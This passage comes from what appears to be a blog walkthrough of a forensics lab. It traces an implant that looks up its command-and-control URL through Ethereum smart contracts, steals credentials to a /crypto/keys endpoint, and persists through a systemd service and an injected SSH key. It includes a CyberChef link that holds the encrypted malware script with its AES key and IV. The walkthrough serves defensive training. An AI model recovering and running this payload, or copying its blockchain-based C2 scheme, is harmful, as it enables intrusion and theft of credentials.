5YmJlU09tQkRRSUVCQURjTVUwVWVsR0pOTG1DZzRtUUNJZkpmVHBBZEJWWkhFMHQ5bmRhWjJpcDZkKzlrY3hxVXNSckY2UGpHYXdzNC9EUlhObGl3MVV3dFdqa1hhQnk0WS9EcVZ5Z29DZk1UU05Zc29McVZOWjZoQWNEbnBMSGpVbWhPdytxbm5aOCtUZ282aXlQYVJ2MS8xcFdZSVdQVEVra0NLNmtuM1UvZi9qOWhsYlJvYnM5RmY3UEYxb1ZwSTRreTY1V1lrdi90Y0FhRFErUFptUlhxU0J0cVcwUEJaSVltNGg5R0dRbVl1RlVlUndqaHlBK0IzZ2ZkUFhLV3kvNHBjNzd4SWJaMzJUZlBPMUZMZ09PSWlIL2JXYTZoMktDVElzNTFydlpIUjBXT0xWVTBLT2FnSVFBdWpCN1h2dnFDSjcvRmk2VDQwNkM1SUx5ejEwUTdmRitla2ROb3FQbmt4NGwzS1p0TENYV1RqM3dOSDJRNHBhUGpzYlBZQ0RZQlJMK0N4TkFHcmxpdGlQVWNPWHc4MDJEWEprbWE4RTlWMXVLbkw2WWJ1SVhHc2Y1U1JNZ212a0RIQi9scFdybE1pL2d3ZmVaYlVqT2ZLclppZzROMHF5bW9QSHFRWmtDWnUwUG1nMy9ISzd2a1RxMnlWUjQyTE5ybWpJRVNJcDZUSTNqcy95SU56KzhCaFpaaGJ2WTQ4dzdjZU1NRDhVR1RFWmR6WStVcnF2N1pGY0N2SkwwYm9FbVRVVXUrNmU3TmpCdU9wMDBZNnRyOXQzYnRZeHVDTlZQdS9RVGV4NHRISU51WVE4dHhhbit2V0MxRjFkQXhsSHFvS29qWHR4VkErSGcxQjk0R0NWWTAxVTBRa2FNbFYwcVg1aCtqTTFLNGFzQXJpTEhEa0szaFRMSmMxRzgwSkFMOVA1cWdmRjZaQ0NESFZ6NnBpZjNQR2s4cG10WTBBbXI3bC8zOW44RExISFJOSHgrOCtUcHJMTGFTNlNFRys1QnZMRnNoejFPYUFTWkp0RnNWWnVLcVlIRVBhbHlwcVl4Z2xQaFlQR1V5SDA4Vmp6SmdVREQrS3lWeEplTndjSXNCdWRDMUkyYjJtbWdPTzNsVlJtbDh2bVlaM2NZeGNYKzc1L01YanpZZTJob1NkZTNad3A0T3lwdEdxRU5vMkZzc3JyYUJVeG5kV1BMc3FMUGZFY1U3K2E1VWNWNzltTjlENXdydzRIVzJVVHJ6b0FUV2JtUjFSM3R4WVNJVWNnRC81SExrTWEzVWh4aDdBQWhZUlRmV0FoRTdZaVQ5TUVVTTlSN01VUnJ4clJrdWdUZXhOY1FCdXE3VE94S1dWclpMcUdHN29jajFkbWQ3V3cyMkFxaW5sZTdZcGpqb1E0TVhGT2VIWThrbmtJTnAzajlwaXJ3MXBMT2VIN0hlcUJKNmkxRmV2V0VFYUo0bHJlRmFmZ3R3S0R6dnJlYUc1QXBpYk1NMndkYytmWUdrRmNSOWhzaDFJWFhsMjE3NFNtU0JRaXoyQWZtZW82Ly91THVPcFNpS1lFWm1Wc0NwaGlGVHdMeGJWMVlBdXlsVU1xUFYxWkFrajlwcUowK2xXMW9ycUd4eUFZOTlMb3dLaUpleGJ3aGo2WXVHTVFlRGNsdU5SbitrU0RGMWlhRlJQVW9ST0d0Sk1tM3EvZWlMc2lNKzNzQU8vUDhLeVlNVW9YRDFXRDEvY0NPdDI1bFIwcEp4RXpVV05EcVJyMmw0TnYwRXZRVkYrbm4xSlYzUlpuSUNjRmtwd2VsZlhDVWtFR3VneW0rQUR0TnBJSWRaTncrTjFqQ3VERzRUaSs4Vy9kYmU4RytHNVZoaUpLVXhTNGlnSUFlcXk0U3E5UVU4emU1NFA0VlhnUHpvM3htOFJUQkd6enNTcUdMd1dVOFhOdGVPSFVmcEJaZ0VjakxaY2piMFNzRmhtR0JTQ042VjJuenBnS3FSUy9Sb0tiMVZyVXhSNTZYdkc1bGNNL3VrSThFcHBSSk42Y3ZFRTZQbW5vMEdsTzdCL2hKdWxHc1Y2cU9QNFVWYXY4VElTNzFhWTdIQnZJbjkrdllPcjVyb2RTZ0MwcE1PZitvQkdMbXpsTHRuZ1E4aWZwOHVFZHBBZGRQTGd2L0N3Nk5KL0UyQ3FkT0YzVVYvQkpIeWI1a0dtTk5WS2luOHdzWTRjbzJzVzFvcmNSZWRCOENpcE1MYkxNMzlWVXpXK1V4QWJWbmlYNFN1OHJZOTA5NzF3Zy83c2xPL01sUUJlcHUvWkZYRUYzL3VVN2FVM250WG5wMUhyNVJFMGdhc29EWjl0ZjZJMTNDMm1zdWVkUWtpa2ZmT05MWFJwdTRHZHpRTWRqejlxcnE1VVRMZ2pjODYvNlZYQi9GUTR0USttZUNEUTd5NEw4ditQTG9QV1Z4QjdKb3hLY1B5dlk4QlRlUHp5MnJ1clhBamxVUTBpeURaRzVTQmNkT2hYQ3RDbHc1OWpmRFVrRS9PNTRBczFzcGRYa2UzVU5xZWNydlI0ZC81WmcxaXIzSzFFUXlxTkJRbmJKRU51NGx1dHorTjJBM0dlaDhPaEpGckRNeVQ5d09HN21hSDkrQzZWV3FOelBzNTVHdzdUajVtVGlSNURDbDNKTEhDUzA2TkJYdE81eGx6cWJaSlBQZjZLUnJnalJYUEc5NDlWR3FWck5HYldZenRNMlpGVyt4YjM2ZXJ0M1N6N01aWFVjMTRuemdRaEpEK3lYTXFVbUFGOUUvL090QW56cGxXWDRuWWdLTjI1aUY0bW1PWEpjeWMyU1FsVlVqQlYrUWtVNEhXOU9yZmdHeXRTekcyS3ZHMEM3bVpkLzNGK3p5blZ2d3o3djlRbE5EK2pQKzlXWGFnOG56WjJTeGlFSXVoTXVsL1MxWWRFbDNlbTcrY09sTnFiamNYNXJZcFEzZGpDVmw4dEFYbnJZZkxYYzYvQjB1UWlGVUZHRkxuekMyYXF4WVFiSDQzeTFlc2IveVhQM3FwZ3BtLzhsQmYzYXNvQ2Y4OU9aaTZ1b3grL2tMQWNacU91VEpNY0cxc0txMUFRbWgvSGZhSk45UXBDb2lLcXd0aG5pUDlIeG1wdFhuU2d2WFl4YTVIRU1XYmlVVXc9PQ0K&amp;ieol=CRLF"><strong><em>link</em></strong></a>), and get the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XwliWI_7zc0yc9ZqmStimw.png"></figure><blockquote><em>ru</em></blockquote><h4>Command and Control</h4><blockquote><em>Q7: What are the two smart contract addresses used for C2 resolution? (Format: in the order they are queried)</em></blockquote><p>from the same previous decrypted Code, we can get the addresses directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*hE0YcyeMOq54R9g3W-bnxw.png"></figure><blockquote><em>0x22f96d61cf118efabc7c5bf3384734fad2f6ead4,0xb0cbaA51b3D1D36e8E95F4F68dfBd47ED2eaA7a4</em></blockquote><blockquote><strong><em>Q8: </em></strong><em>When was the primary smart contract deployed on the Ethereum network (UTC)?</em></blockquote><p>from the previous image, we can determine that the first contract is the primary one, so let’s check it online (<a href="https://etherscan.io/address/0x22f96d61cf118efabc7c5bf3384734fad2f6ead4"><strong><em>link</em></strong></a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPd7rSCxmtWKETFs0FWJhA.png"></figure><p>from etherscan, we can can go to the full contract and get the timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K1b49WyqSRaq0eCbTt5lBw.png"></figure><blockquote><em>2025–12–05 19:13:47</em></blockquote><blockquote><strong><em>Q9: </em></strong><em>Since the smart contract is deployed on a public blockchain, its source code can be obtained.<br>What function name is used to retrieve the stored C2 URL?</em></blockquote><p>in my case i used the <strong>Dedaub (</strong><a href="https://app.dedaub.com/decompile?network=ethereum"><strong>LINK</strong></a><strong>),</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8fF323Jdez5fYAMyCYgJfQ.png"></figure><p>Now, we can put the input data we found in the contract into <strong>Dedaub:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oh81N33V8YqCkQcYZ8AOwg.png"></figure><p>just like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G154ODPFOTdcasi-ynJKSw.png"></figure><p>and now it’s decompiled successfully:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qowzdk5elLA4qgRVlVLxvw.png"></figure><p>it’s basically a minimal storage contract that lets an address store and retrieve a string mapped to its address, so let’s take that full string and decompile it again into <strong>Dedaub:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*iVRw-hfNFZW_GSOVoEfn8w.png"></figure><blockquote><em>getString</em></blockquote><blockquote><strong><em>Q10: </em></strong><em>What is the transaction hash of the first C2 URL published to the primary contract?</em></blockquote><p>investigating the first transaction hash as shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tl53TdpxIJJqTDop5dbvyQ.png"></figure><p>investigating the Input data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M4ecRRDl-w8AJdJY76sHDg.png"></figure><p>Decode Input</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NOsjBzDnt2Qf37-HFYDD_g.png"></figure><p>so yeah, it contains the C2 URL, so hit the transaction hash for the answer</p><blockquote><em>0xe4efe4d2b118229161f7023e13ab98b54180fbfb1756d11959e4f19238b9655d</em></blockquote><blockquote><strong><em>Q11: </em></strong><em>When did the implant retrieve the C2 URL from the blockchain (UTC)?</em></blockquote><p>falling back to our pcap file, we can use this filter: http contains "eth"or search for eth_callsince it is the JSON-RPC method used to read data from smart contracts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kJb0Po9Gj_4QQTvyq8uz3Q.png"></figure><blockquote><em>2026–02–10 18:37</em></blockquote><blockquote><strong><em>Q12: </em></strong><em>What C2 URL did the implant retrieve from the blockchain during execution?</em></blockquote><p>we can see here the traffic direction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FxTlLcV4mhsHLUPEabMbMg.png"></figure><blockquote>https://63.176.62.199:443</blockquote><p><strong>Q13: </strong>What is the Bot ID assigned to the compromised host?</p><p>the same previous packet, we can get the BotID from it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rkpXQSjskvGmv3a0Wg8Vvw.png"></figure><blockquote><em>4ebfbc8aedf60511</em></blockquote><h4>Credential Access</h4><blockquote><strong><em>Q14: </em></strong><em>Once connected to the C2, the implant started executing multi-stage payloads.<br>What is the endpoint path used for exfiltrating harvested credentials?</em></blockquote><p>checking all visited URLs, until you'll find this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vd-LrB1oTn8r6Thr3wBmqg.png"></figure><blockquote><em>/crypto/keys</em></blockquote><h4>Persistence</h4><blockquote><strong><em>Q15: </em></strong><em>What is the filename of the systemd user service created for persistence?</em></blockquote><p>Since we are looking for Linux persistence via a systemd user service, so the goal is to find where the attacker creates or references a .service file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JVtINF_p-jFg3ydIBAWeaQ.png"></figure><blockquote>c16a536e1a9cb42d.service</blockquote><blockquote><strong><em>Q16: </em></strong><em>What is the comment field in the attacker’s injected SSH public key?</em></blockquote><p>we need to know first that the structure is like this:<br>ssh-rsa &lt;public key&gt; &lt;comment&gt;<strong> </strong>, so by the filter : http contains "ssh-rsa"</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0xvHlOKrtLg1po0UNKyWA.png"></figure><p>single lonely packet, let’s check its TLS stream, and get the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8TMfQfUI5fg2j8vj-LntLg.png"><figcaption>BINGO!</figcaption></figure><blockquote><em>maromalix@ether_dev</em></blockquote><h4>Execution</h4><blockquote><strong><em>Q17: </em></strong><em>When was the first remote command executed through the C2 channel (UTC)?</em></blockquote><p>this question and the next one <strong>Q18</strong>, have the same idea.<br>from reading the full decrypted AES js file (<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5'%7D,%7B'option':'UTF8','string':'d4e5f6a7b8c9d0e1'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&amp;input=MkhWbmxwUnh3SnlNRjAwWDlXamxTbDV6MkcrQnB3ME45MGVKQWtsRzJZdmVBdEJnTldDUDZHT1VHNXRNZjBxQzRRaVM5TGRBQnFJcGZyRFJ4Wnl5Yzh3alN6cDNZUVZETDBUMm82Zi95Ny9WQktGMTAvdjZ1M1JBZ0VZQU9iS2dkNGJzTnNMZmkxQ0F3Q3RhY2xlSkZIV2dGQ3NLZGtLaGhqL0Q0MC9qTnBnUHhkZE55QlM4Ni9jaG9KeTRsTWovTXdmMmhscWluQ1FkbmJGQXkyeDBrSzJxVGZKMmRyOS9TcDlRMkZQQnNKWDd0RUF1REE0QkRyTjdydzVVQ2Y1dGpEbUt0NTZGdnp2Nmlxcmlxb2dSVWVLTDgrVDFZMkVUNGJwUTRwczF3bHZqMzErQlVoVHkvRXNYWm42bzY1MkQ3M1dMYW9WRC90L0NPR09yNXErNXZ5ZjJkeXRaK0ZSTW1pSXZtK2xuVzlDMlFZc0xxYmRxNnNRRWRoU254dm5vUzRUTkhqMzZPdXIySS9JcXhZbXBCREFzYkZucitLSXA1cnRTUFJGUng1QWx5Tm1tbTBFNHArb1l0WUxHbVFlTlFNU2RGWTUxa0FhZGpoNEhzTVA3eEdaYW9Rekc5V3RHYjc5LzgvSEhjOGxTcFpWL2JieVQ0YlN3a29zWjFlRmVlU0hLaFZPczU3UDhCRHEwaXFwTXI4RmF2TmVPUU41VFNOUjBicHppendHUjQ4aGNEdmp0cVdlcndHQlhZNkY1NGFsUzhienVUOUFwS3JFS1hEUksxeGF0M0NkREJDbzdjSGx0a3NveHVXckx0TnRaK1F5ZEEycm5PWVh4UzExQkYzNGl5WDdZSlB5K1NWN2hjam9ZcnZjdUxaNElKY1RpWkRQY0xNNmtBM0t6Tmx0cjdVQ29BdjV2dVh2clk5YmVrV1pZRThHd24wNWJQcVNHOWZYb2xmOGtLTHFXTU5HUjVQS2MwYkRjS2RHVXhKT3MvaVlGWDFXeG9LZThkVkswRE14WTlZWUJ2czdmd3I3YXdTWHpOcnJQM0kxbzVZR0RmZ08yQXVTNXorODlvcWZGSFJlSFY3ZmxWL0lySWg1NXFXME1aWmVGSW5uaU01Ny8wd2VqUERaTU5sRmR6V3pObUxkbWRVL0VmWFNXN0hFMGZsSUQySmluZU8wNFJkSU04bTRiR016alRYckU3RW9jSExhZDBEUWZlV0tNTGRNN0hOTWYxWkxEeXlxRlJWZUhKbWhuNklBL1F6T0dSOTlnbWdFVHUrZHdrSUhTWS9QdzlFcTVqWG5FVGNKaFVxeC93Q2NwSVBLUllZOHRHNHNQUURtZEdIUmJac2V1RDVzQWFyRHNWU1B2MmtxbXUzK0hsdTh6eUJLZlBLQUlCeGpSYmtoNnNOMXE4MHVKYm9kYXVPZ2E2MDhiU2NmVkRGY0NCMldIY2RROUlrY1A5Y0dBdWt1aGptSFltYzZIY2NqSWYyeWVyZ01YNHJQVkRqQWU2RVdwTTR2WTN4MmNwQjY2Nlk5VmdQM2lIbVpNRVNEbEpXMlBiVE41RE1oRVp3Z21mZXdYazFtQTlMTEpXNWpHVUErR29KbldFSVhrbnhwb0Ywdk1pSFVkRWFPK0xqNjJMcTFmU2VBZUdqRVY1NmtJc3p5cHF6TWtIdmtqSTFNakVTQWtZU3A4bHBRSyttZHB4aGh2ZjlDbUZhN3NoRlBRSHBsb1pSUHJpMjF2QVVzTjEzSXFEQmZvT2pKZFpIN1JlN0xyNkdNb0xMQkx4bDhYUUplWllZQVE0cFZ1UXpxa2hWM29KQ3lvNjExYW9jSXExUnhPMHA3TTZNMVVXYWhRWllIWE1PYzdQcjg0RWlSSU02aUd4d2d3NCs0WXhHWkE3RTgzanhobWVPZVRnRHczTHZUY0VEeDQvUUN6LzlTcjlBRzY4eGp1emg5UHR0TjVsQ2QwTVUzQ2o3dWdpelNQZ0hVMEdFMEJCWElmUVFtalA0UVBya2V4WkcrVXZVZDBKV2FOZjhYUnNKZ2FyY0xCQlAxV1pqbGQ5d3U5eGx5VnpJNXZBL2ZialRrUFcwOWFYbmlqQVJFQzFEejlEaG96dlM5S0x5bnA4MjQ3K2MrU3VsSVdrMTh4aDJ6YmxJZEl6R056bmFVSjJoN1hHRXZOVkxlamVLOC9oUWxnekV6ZUVoV1dJK1RpblB6S2FUZTlsWUVLZ0FOcnYyb0ZwcDg2Z0dSclh1YkZqODNVc0dmZFoyQy83OTVNbXBhMVZkczhNV0FkeHA0THlHcDhraWRTQkFwRHoxdUUxTWh1VUs4b3l2M0JsYlJCankzemozbVR2UFRzNUJ6aWZXaVVmekM1V3VUUEJlU3pXcGo1cmhkK1UvcXV5L01HYm9wbDk4UGRRSllKWDlsaTlUSVZwU3hwOWtHcG14aUtPZnpkL2FHOGdIa1I1ZWxhWGN6aTFyVUJaeDdKU0p4aVpZZjB4UUMyK0ZHeGlZbXl1UHNYK2hGb29IYWNtTGw0UVNGK3ZYdmJJSUg3QkM4c1RxbSswN2lwRGdpLy84UUFzUmM5bnhPMjgraDNOSlM5L003OWdsK1pNanJqWlpzY3BSQzZLa1RCQ2JOY1pHUDMxeHlHTDhPNE5iSnlzYWRaMTBZdm55RXhlNy82M2Uvc2wyK1doNGVXdjlieUJQdFltYnhQWVlQaW9WbzZ6VXpDVUVFczNYTk9MTkFCbjZ3TlNmSGVEVDdGVW9sdk92S05HdldVbURVZUtjZElkdWoyRWUrM1YyMUUwSEkzcjJvQUkyZUZSMzNSN0MwTDZKTFhIUmNiZFpsV2NJdExtSnVQMHVYa3cvbkcrRFFqYWRTbEhONmllSUdjSGlyRGU5NDhMTXhtZVhTRHN1aE9OeWU5SVF3ZFlTdnBPUG83WWZTMmJtMGdpSlNLZDJKaDBacWw3aCtFT0MxMUdheWU1RjFMd0JkU2JEK09OMUxzM0REUzVLeVhraG4xMjFSTWh4bnBxZlE0YUVyUUlIaW55dndOU0k4OW85TW50WkNHMGFWMnNHbGo4VHpFemg5ZUhBWEFpdUEvanp5QUpHYkdNMnlOT1BIODBMUUNkZnRIT2ZqdDVEL3RENU10c3BOZTUyQXdNaDQ0Rm5oV0VJajIxK3ByV3o1NXF1MHpHSHJpekIwOTFxYWJOaFAxclJtZlNrREN3dlFRM2M2blp1Zk05UURidC9UdWJUR2JVTElITXVoY3kzelhUdDBySWdXTlFEN1pCWUdxOUZXM25uWGwweEY5WDVDK3BGRHZLN3pBTnhJZkZLRkFRejJkKzE5dklrdlMrWHFacDk0eW45eS9xZlB4QzVZTmd3VmpNaFhrRnY1dm5nTDVxRDdBeld4RThySllUQTFtKy9PNkdqU2x6OEttb1prcTArU1lDSWc2bGVPb2grSi93YVNUcUdtUitsNjZBWi9sK29UWVhpRkthNS8rYW1PNlF1MnI2UFBlWHg2MFNwaXVDd3hjNUhyMGFiOTlkbnpubzNMME4zSnJ3RGhPTkViaUcyYktDN2xBV1VJdGVKWWN2cGFWSjcyM2xvcmluUDNHa2ZsMXhDTmV4QTFLMnFEZ0x6Sm0rMk1IS2pCQXg5QnBMZXAxRkg0eFFNMytJeklINHVDUVp3ckRjYWY3N2o5aG5hSGVHRUxlcWQrZW1FWVNsckEyd1lBWEQxa0Q2TFVuY3UxU2lIN1liSmREOUoxYUhTZ1hVT244cFNObXZ0dFAxbUIxNEpMTXpPd292d1ViN3pZNEtlOVR4bEVIT01GU3QwNHFOanRKL2pkK3QrRHpWRmdqQUpDWlNaMnpFS1d2K3N2azhuTWo4UW4wTkcxYmFaUXRmdkZQa2lRS3BwOCtKbTI0cjRoUHVQSVdLSVFTclZRbHlOVHAxL0JNRDdQWENtTnNlTWMzdG9iM2NpUXFENGE1VCtWdXpmUmhpbXQzYTFMTHVrblFpU1VreTU2TVNZdURlS1dFOVMwRXVEeCtxRFdsWk5vNzNpOWRWaXlWdjEvRU80dVZnMmpReWx4WFNqK2xQa2c0RGJKTEUydUtYMGhsVHdTaThOS3FjKzk3SE9tSXNoT2VuckVXZ0NreDVUa2lrQWJvVzJhRlhYbkNxV1ZDbmlOalNRWXVjdFpDRWloZFVHWVBxTDk1MVpwMlZYWitUUzArTEptZVFtQjBIeSs0M0I0MGtYcG5UQmgxYk83eGdIWmZGRzhqOTRveGg2cG1qa1hYenh3djk4WDlmQUVKd2dUV0Q1UDBjSG5FOWtHcU9WV3VYMGVZSW9vd0V5ajRheEwyVTFha09FdHgzUHU4YVFZcmFtUDNEN2ZTeWRPVFhrRGJCTFVXR2VYNi90M3JmWmh0YjQwdTk1ZG91dFllVG9aYy9PZXBocStDRWpMQ2RTajRnQ250VE9xa0F0dG5STHY1My9Xc0k0ZzJwdUMxOXVjS3BFVEsyZTRrMm52bVJJQm92cmNIZXFOcXZIOXZqZTRIYU1LcGc3L29ITFpmZm9jWEFXSERvWDBxa3VMLzZtUUtvS0lwazNKM1U2SHY1dXRab0dEa0Z6UkpuRDRHZUZhWFJQVHpSQ3FpTldrR3pjdnREMDhlcEI5aUdVaWdXdm5sSWhCeTBvRXFLZ21BU1MyZmdCYWRxTkxmR04vdkFVUW9uRWh4M3ptNjNmZmFUclBBWDY1V2dUSXkxRDhSMjdvaDRwdkRsUC9Hdnp6RG9ZL1dCSGhlVlBEcFA4TlA1MmVxckZSdXVBSm03SDJ1T1BPUlJ3SWpCN1RTZGFrYTEyck53UnFlSjBqbzB0QU1HdmhHZ083bmxDRDlZOTIveHNWdDNvaXc3eDh1ZUJlRVpYTXM4MEk3dWNzUWtPOGtmR29nakJ3dXE3dlhPbngyN0d0M0pqL0ZBUWFPYkVOaVg0TURhMlkzWXpub0o1bUtvQ3lOUkNCNDFGZm1FdXY4Qjl5TTdaL1lWRFVmcmZsbFhKTTR5OU1jM0VxSEhOdzczUjR4dWFYQU55THpsVS9LZUJiVGZJcVJWNWIwRW9ZZ1YzVEc0dzJWdVdBN3FTMWFuVnlpdUJzR1c3UnhXSXV2dXFxaDFURUMzdkVDTjFVd0YrZ3VpbmRFVlhYQThEOThjYnVBSWVYK2I3VVBqV1cyRlF4eGxtL2VEYml4aU5IUHlEY0tvM3RXa2xJN3djWkY0bTNELzlkakxsUnlLWkthQlAreGtZaHBNRGduV2pMQm5XL05ZV3ZZMUNWL2I5R2I2OEdXZXNGSWRXK0Y1TDZjMjRLT0QwbjdFRUs3UU5neFRGY2hIZlozeDNhY3hJdnN6d3RLS3VSMWF5dXRUTkw5T2puZWw2aTVBUWVJa05ORTZoTGNsTlJyZUZhQWltUzFwdXhOOUZTck9oTVc3R2JmaTRhNHF0eHVGU2VUd0pVUHlzNjcwTnQrMWhQRktBcjg5NmVLRmo4T25XcUpweDV2TXpsMFpadGJ5NmFXSHQyR2EvWnFJTFJFSmdSL2VZT0NtQmdwdm5DL3RJdVNQTUZYN01Tb08zQjJpL2RIdmF4L0ZOK21kUkVOY2JoQTJHYWhJaWlmUFQ5NzlJbkdCZjdKdU5SeXBaeGJwdzU0VUxDNXdWYTBnYklsWVFFYlhyRWdKU21PaU1ndFRqRmlZQXpxaU9SWHUvSlVTS3pzVityVkVYZDRubDlUUWZydElBUXpqTkhvWXd1Q2hEaCtmNjNSNzRZZjZIaVZINS9ZTEFFenI3R1NPRFdNVmIzUElUTHJxSDdKc3JYWTlmNVNDTkRza3NUb0hDcWZiV3lCYzI3d1BQY3pTdC9ESzJJNTB4bk13djR3U084T0VwWUM2Nkw1OEUwN3ZYS3VKSGRpV2VVb3YwS0l1YWJOVXhPcm5rVXRyTW9WN1hLUi9mYzIzdEk0em0yRDEzbWMrVmNOdDRIQmh5ZFFmZno2Z1VMYlY5Qk1HTDhFTkttOXQ2bkcweW8yeHh3ZWF3OGhkUGdhb084ZnBIWW55QzYyTnpGRmtVUXRIY3o3THdBc1g5TjVRZlhsQkpvZ3c4dnppeWhxVWZzcWxHak81Z0JRWWNJOVR0WkhGaWF6VndnYnQrdU5UYzI1Y3dnZWROc1hsWU9zQlNRNHBkRmdTV2d3di84OW9WUyt5QXRTRlJVS0NaMkM1WGdyQUlQNFJWdHNGZFZ2aUZGRG9Ia3RmVkN1b2kzc2xuU25nSEMvejkxWGJ0RnNPMlc4bDZFRlpLSjVKQWJBMWRsUENaVC9RckNucGJWVC9tZlNYTU1aZCt3bnFVd1dzc1ZpMTExblc5bnlsdHRyS2VQT1hwWDdkYjNEWWNhSkFybDNrZ3NGK0ZqaWlQVEh6VXYzdjJjeGRUYXlrbURBVHRQckpqMTBsZGgvandNTUh1R1J5MVBTZURXRGI5QkhlL05vaFBKOU9KZ2tDUGxPVDZna00xUlFZT00vbDZVYnNiMXBzQm9XR0dsdGF3Lzd3VzVHZHl6SXFRNmVJdmhtWjk0bjBHZUdnem5BYUQ4SHp0Uy9aNkpaOFhZODlUTXVqSStNbm82VTl0SHFrMTBKTDZMRUZ3dStzQTdrZGdOUGFDMkw0Q1Ftdk4zNTdsMkhsVU9zeklMY2VOR2NscndvNVU0cGdJdFMrQ3NtVnRDaW1ubHppS3U4VDlnMWwyVW9qYktnay9NZWExSW5nZlVGRVo4cnE0NjFSeHpUS25tLzB4aFZ1dys1ZzlZNGNMbDhSTGd6MEk1eWI3RmFqQURUV05XV2I0ckJxdTBmUTZmbTVaTHI1MEx6Y0w2NmowWDJEaEhkZWVKM1JyZnIwdTNlWm1OS3hEWTM1clc5TWFVMGpQT0R3UDQvQWU1YUM1UlkzbDVOTzNzVVFmdU5MQWNMb0p2RktyOE83dGZYM0RLbjdKazVQdG1NemhUeGE3KzlEV3Z2eDJOSWpLTXJHZFRvaEoyVkNmbDNETnA5Y2JpRmNQMHl2WFRSZjVmVTI2VmR6Ri8wcW5YbFZ6S01QQ0lQN2lnYVZQcnhUaUVWVTdHMnJIaTFkWmp0WUN6eC8yc3h5a2FNSmx3Vmdab3IwbVE0UCtmYlBvNElwdEQvVTRiSEovdUVoemJkc0c5THpLSmhVRnphblAxRFpOdjNBOTIzZG9mRFU5ditTbXNKMWdueDlDOFVLL25tSEhSVS9WS08xYzd3Q2w2elR4Wm9pT1BzbExZSHd6VFQvMkl1cXl6WGh2d0gxWDd2MlM2ZmZXbDNNcmc0U25vdTVZUmpIY3E0TFQyV3NaZ0F4SWpmMzVkUGlVZ3ltcCtLdDFoZG8zWSs4N3JUOUl1QVF1TDdwb05tUEVYV0xpd3VYblA2aU41MEYwcm1nNzI5RVVmNExVVExoRkpqR2M0b3N5U0NGNDUvRmZrNkFZNTFOUE1HUnI5WnY0S0szd0ovKy9rMndrNE5jUlI4c1lWVjJmeVh3NitiMlVhemdoWXJRODhhdFB3cHRWUWdLbC9mSHBCR1dSRlE0L281SStseUVaVjJYd1dHcGNLd0JxMnRtWmRDTXFqWHhBdEJTZndWbjdVVERwT0F3RmtwUVgzYUhNSnhiZU1sdDlRUXZxWlRPVEhGM3QvTEVnUCtGNThaTGx6aUxDWmdmSk91L1pZODV0NFJ5V1NicDNqZkdhYnFMZmVvYTd6QVplbExNM0NSRlRxb2JDWVU4b1N3TWRrQVhEdWZGMEc4SzFoUXBITDhycDY1dlZoNVdnY3o3VlRGQXpoK1czV0I0cTBmblp2cXViUmJoZXZsc3dzVGZ6RzJ5ZzgveWcrS3U2Z1dQVG9FYlJpcFR5VE5VWjRlZHBWcHRwYktrNUZwclVXYzdFeTVwRTVvUllzeVI1UjdRYjFzck93NEtKWEJjQmVvOHJ0NWdrTVp3T3dsTUdldnR1NWc3VVFPK29XUW5qeVV3d0dtNGYwbDllZUJodDNQR0ttUjREbmxGdEdDQ3FPTVpnc082RlJTWXlPck5mRVdqZlVSdkYrK1M1d1p1REVuS1hvUXNqQVNNUDg4QzhaUnhLVE5pWGJEZXVhWWlxSVFDSnNmcjhMYVFpRmI3dWxOckZYa2tHU1NSQjJqQWpnWU9FSWswZzcyczZpVkw5YUpHM3NMUG5WZUovdEN2NUdxbWFNTVoySk0wNU1sSXhrMkdnT1NPeHIwYVFBMFlHSzBuZ1pNaUhOSUNKMElwNjlpVzRtQW9oOXJ1SkJSS0FtYjJWSDNVQW4xQkVQcTNXWDd4Y1NsRlpmMkVpR2ZUNndERDM2ZEpxQ3RwRmEydzdTb3VnS1lyUG9QNDJHRUhBREdndk03bFRobm9NaW0rV2xQSFIxWEd3ZWdkT2RaWkp0ZkNUdlMrMUhBU0RSOGZKSjBtSGJ1dzlMWHJ2YVdUV3lGZXRvaVdVTWhQb202ZmZoSjlZN2txNzhVa1JjbGdlSVNaNFJNcllwUDVTWlpMUmx4dnY3NXZlMm9tK3ZmdVV1eFZnOVFxN0w4aWhHdEplUXNVWVVoL3cwdmNlNmdETmxGZ2J6amZvMUxibE81M3V5RU5GL3cxR3dSdnlrWHVXOGV4OElsMlJMVEw2RGRzckZlVlB5UVhqdmlOZDZJeFB0a2FpUWw2YjliaWowN0xva0pKaWhSUnpOWlpqZVRhTXRzd1pheER5bFg4VThoSVF2ekZiKzZqWjVCTnZoMGU3ZUZkNkVTR29HcnhGTW9BUVRQY3pLRjJLclcxT1lnMDRybTNzejg3SFA4QXEvT0wyeFZPV3IrVlh0Nlh1UVF5VnJjODdwaFV0TGZzMDN5SjZ3T1RBRjJRWHltRDVYS29OMXlNSHZlVGtRZ2ZYV3N0RWg3ZWlnSFFxUU54WVZsUEo5ZWV0cE5jdHE2L3JQT05xaEh6b2kwQTBxSmxIY21KYjFuR0ZvNk4xT3QzbGhjZWp4QmZzRk10MkFBK0ZldXFmWDNUZ2VMUS8vNi8vUnQydmxMREtFZkdMRWpKdmk0QmcrT3BuVkJ3Uk9vcHJCVGtVekl3bUVBSTA